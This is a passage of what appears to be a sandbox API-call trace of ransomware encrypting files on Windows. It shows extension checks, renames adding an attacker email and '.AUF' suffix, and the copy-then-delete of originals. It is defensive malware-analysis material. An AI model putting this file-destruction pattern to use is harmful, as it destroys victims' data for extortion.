[0215.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.531] lstrlenW (lpString=".zip") returned 4 [0215.531] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.531] lstrlenW (lpString=".rar") returned 4 [0215.531] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString=".bz2") returned 4 [0215.531] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString=".7z") returned 3 [0215.531] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.531] lstrlenW (lpString=".dbf") returned 4 [0215.531] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.531] lstrlenW (lpString=".1cd") returned 4 [0215.531] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.531] lstrlenW (lpString=".jpg") returned 4 [0215.531] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.531] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.531] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.531] lstrlenW (lpString=".doc") returned 4 [0215.531] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString=".docx") returned 5 [0215.531] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.531] lstrlenW (lpString=".pdf") returned 4 [0215.531] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.531] lstrlenW (lpString=".xls") returned 4 [0215.531] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.531] lstrlenW (lpString=".xlsx") returned 5 [0215.531] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.532] lstrlenW (lpString=".ppt") returned 4 [0215.532] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.532] lstrlenW (lpString=".zip") returned 4 [0215.532] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.532] lstrlenW (lpString=".rar") returned 4 [0215.532] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString=".bz2") returned 4 [0215.532] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString=".7z") returned 3 [0215.532] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.532] lstrlenW (lpString=".dbf") returned 4 [0215.532] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.532] lstrlenW (lpString=".1cd") returned 4 [0215.532] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87 [0215.532] lstrlenW (lpString=".jpg") returned 4 [0215.532] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.532] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.532] lstrlenW (lpString=".doc") returned 4 [0215.532] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString=".docx") returned 5 [0215.532] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0215.532] lstrlenW (lpString=".pdf") returned 4 [0215.532] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString=".xls") returned 4 [0215.532] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.532] lstrlenW (lpString=".xlsx") returned 5 [0215.532] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0215.532] lstrlenW (lpString=".ppt") returned 4 [0215.532] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.532] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.532] lstrlenW (lpString=".zip") returned 4 [0215.533] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.533] lstrlenW (lpString=".rar") returned 4 [0215.533] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.533] lstrlenW (lpString=".bz2") returned 4 [0215.533] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.533] lstrlenW (lpString=".7z") returned 3 [0215.533] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.533] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.533] lstrlenW (lpString=".dbf") returned 4 [0215.533] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.533] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.533] lstrlenW (lpString=".1cd") returned 4 [0215.533] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.533] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76 [0215.533] lstrlenW (lpString=".jpg") returned 4 [0215.533] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.974] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString=".doc") returned 4 [0215.974] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString=".docx") returned 5 [0215.974] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.974] lstrlenW (lpString=".pdf") returned 4 [0215.974] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString=".xls") returned 4 [0215.974] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.974] lstrlenW (lpString=".xlsx") returned 5 [0215.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.974] lstrlenW (lpString=".ppt") returned 4 [0215.974] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString=".zip") returned 4 [0215.974] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.974] lstrlenW (lpString=".rar") returned 4 [0215.974] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString=".bz2") returned 4 [0215.974] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString=".7z") returned 3 [0215.974] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString=".dbf") returned 4 [0215.974] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString=".1cd") returned 4 [0215.974] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80 [0215.974] lstrlenW (lpString=".jpg") returned 4 [0215.974] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.980] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.980] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.980] GetLastError () returned 0x0 [0215.980] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4360, lpOverlapped=0x0) returned 1 [0216.002] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0216.003] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.003] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0216.003] SetEndOfFile (hFile=0x208) returned 1 [0216.003] CloseHandle (hObject=0x208) returned 1 [0216.003] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.003] SetEndOfFile (hFile=0x1f8) returned 1 [0216.004] CloseHandle (hObject=0x1f8) returned 1 [0216.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0216.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.004] lstrlenW (lpString=".doc") returned 4 [0216.004] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.004] lstrlenW (lpString=".docx") returned 5 [0216.005] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0216.005] lstrlenW (lpString=".pdf") returned 4 [0216.005] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString=".xls") returned 4 [0216.005] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString=".xlsx") returned 5 [0216.005] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0216.005] lstrlenW (lpString=".ppt") returned 4 [0216.005] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.005] lstrlenW (lpString=".zip") returned 4 [0216.005] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.005] lstrlenW (lpString=".rar") returned 4 [0216.005] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString=".bz2") returned 4 [0216.005] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString=".7z") returned 3 [0216.005] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.005] lstrlenW (lpString=".dbf") returned 4 [0216.005] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.005] lstrlenW (lpString=".1cd") returned 4 [0216.005] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0216.005] lstrlenW (lpString=".jpg") returned 4 [0216.005] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.006] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=34076) returned 1 [0216.006] CloseHandle (hObject=0x1f8) returned 1 [0216.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0216.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.006] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.006] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.006] GetLastError () returned 0x0 [0216.006] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x851c, lpOverlapped=0x0) returned 1 [0216.018] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0216.019] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.019] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0216.019] SetEndOfFile (hFile=0x208) returned 1 [0216.020] CloseHandle (hObject=0x208) returned 1 [0216.020] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.020] SetEndOfFile (hFile=0x1f8) returned 1 [0216.020] CloseHandle (hObject=0x1f8) returned 1 [0216.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.021] lstrlenW (lpString=".doc") returned 4 [0216.021] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.021] lstrlenW (lpString=".docx") returned 5 [0216.021] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0216.021] lstrlenW (lpString=".pdf") returned 4 [0216.021] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.021] lstrlenW (lpString=".xls") returned 4 [0216.021] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.021] lstrlenW (lpString=".xlsx") returned 5 [0216.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0216.021] lstrlenW (lpString=".ppt") returned 4 [0216.021] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.021] lstrlenW (lpString=".zip") returned 4 [0216.021] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.021] lstrlenW (lpString=".rar") returned 4 [0216.021] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.022] lstrlenW (lpString=".bz2") returned 4 [0216.022] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.022] lstrlenW (lpString=".7z") returned 3 [0216.022] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.022] lstrlenW (lpString=".dbf") returned 4 [0216.022] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.022] lstrlenW (lpString=".1cd") returned 4 [0216.022] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0216.022] lstrlenW (lpString=".jpg") returned 4 [0216.022] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.022] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=39515) returned 1 [0216.022] CloseHandle (hObject=0x1f8) returned 1 [0216.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0216.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.022] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.022] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.023] GetLastError () returned 0x0 [0216.023] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0216.028] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0216.029] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.029] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0216.029] SetEndOfFile (hFile=0x208) returned 1 [0216.029] CloseHandle (hObject=0x208) returned 1 [0216.030] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.030] SetEndOfFile (hFile=0x1f8) returned 1 [0216.030] CloseHandle (hObject=0x1f8) returned 1 [0216.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString=".doc") returned 4 [0216.031] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString=".docx") returned 5 [0216.031] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0216.031] lstrlenW (lpString=".pdf") returned 4 [0216.031] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString=".xls") returned 4 [0216.031] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString=".xlsx") returned 5 [0216.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0216.031] lstrlenW (lpString=".ppt") returned 4 [0216.031] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString=".zip") returned 4 [0216.031] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.031] lstrlenW (lpString=".rar") returned 4 [0216.031] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString=".bz2") returned 4 [0216.031] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString=".7z") returned 3 [0216.031] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString=".dbf") returned 4 [0216.031] lstrcmpiW 